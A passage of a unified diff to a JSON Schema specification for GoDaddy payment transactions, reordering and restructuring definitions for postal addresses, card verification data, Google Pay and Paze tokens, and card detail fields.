"https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", + "description": "The geographic latitude and longitude coordinates.", "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" } }, "required": [ "longitude", "latitude" - ] + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" } - } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "cardPin": { + "description": "Card pin block.", + "type": "string", + "writeOnly": true + }, + "cardPinKeySerialNumber": { + "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", + "type": "string", + "writeOnly": true + }, + "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true }, "threeDSecureData": { "description": "3d secure data information", - "writeOnly": true, - "type": "object", "properties": { - "eci": { + "cryptogram": { "type": "string" }, - "cryptogram": { + "eci": { "type": "string" } - } + }, + "type": "object", + "writeOnly": true } - } + }, + "title": "Card Verification Data", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", "description": "Verification data for the token used as funding source", - "type": "object", "properties": { "billingAddress": { - "description": "Address for verification", - "writeOnly": true, "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" } - } + }, + "title": "Token Verification Data", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" + "description": "Discriminator type representing the type of verification data", + "type": "string" } }, "required": [ "type" - ] + ], + "title": "Verification Data", + "type": "object" } - } + }, + "title": "Payment Token Funding Source", + "type": "object" } ], + "description": "GooglePay Funding source", "properties": { - "token": { - "type": "string", - "description": "Google pay token", - "writeOnly": true, - "x-sensitivity": { - "classification": "restricted" - }, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - }, "cardDetail": { - "description": "Card that was used with the Google pay token", - "readOnly": true, "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", + "description": "Details of the card used for processing transaction", "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." + "x-currency-type": true, + "x-custom-type": true }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "encrypted": { - "type": "boolean", "default": true, "description": "True if the card number is encrypted", + "type": "boolean", "writeOnly": true }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, "entryDetails": { - "description": "Card entry details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", + "description": "Details on how the card is used during transaction", "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", + "customerPresent": { "default": false, - "writeOnly": true + "description": "Indicates whether customer was present during transaction", + "type": "boolean" }, "entryMethod": { - "type": "string", "description": "Entry mode for the card", "enum": [ "KEYED", @@ -4927,210 +4884,205 @@ "CL_MSR", "ICC", "CL_ICC" - ] + ], + "type": "string" }, - "customerPresent": { + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false + "writeOnly": true } - } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" }, "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", + "description": "Interac Mac details of the Payment card", "properties": { "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "description": "Interac mac details for canada based cards", + "type": "string" }, "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" + "description": "Interac mac key serial number for canada based cards", + "type": "string" } }, "required": [ "interacMac", "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + ], + "title": "Interac Mac", + "type": "object" }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", + "keySerialNumber": { + "description": "For DUKPT encryption", "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" }, "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", "$defs": { "LegacyCardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } - } + }, + "type": "object" }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." + "type": "object" }, "LegacyCardAgreementMetadata": { - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." + "type": "object" }, "LegacyCardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -5139,29 +5091,35 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" }, "LegacyCardKeyData": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", "enum": [ "WCK", "WAEK", "WMACK" - ] + ], + "type": "string" }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } + }, + "type": "object" }, "LegacyCardType": { - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -5180,135 +5138,97 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + ], + "type": "string" } }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", "properties": { "cardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] + "type": "object" }, "cardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -5317,73 +5237,74 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" }, "cardHolderFullName": { - "type": "string", "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 + "maxLength": 256, + "type": "string" }, "cardId": { - "type": "string", - "description": "The uuid of the card created" + "description": "The uuid of the card created", + "type": "string" }, "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" }, "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" }, "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" }, "id": { - "type": "integer", - "description": "The id of the card created." + "description": "The id of the card created.", + "type": "integer" }, "issuer": { "type": "string" }, "key": { "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", "items": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } - } + }, + "type": "object" + }, + "type": "array" }, "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" }, "numberHashed": { "type": "string" }, "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" }, "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -5402,490 +5323,486 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] + ], + "type": "string" } - } + }, + "type": "object" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" } }, "required": [ "type", "number", "source" - ] + ], + "title": "Card Detail", + "type": "object" + }, + "token": { + "description": "Google pay token", + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + }, + "x-sensitivity": { + "classification": "restricted" + } } - } + }, + "title": "GooglePay Payment Token", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/paze-token.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Paze payment Token", - "description": "Paze Funding source", - "type": "object", "allOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Token Funding Source", - "type": "object", "description": "Payment Token Funding source", "properties": { "verificationData": { - "description": "Verification data", - "writeOnly": true, "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", "description": "Verification data for the card used as funding source", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - 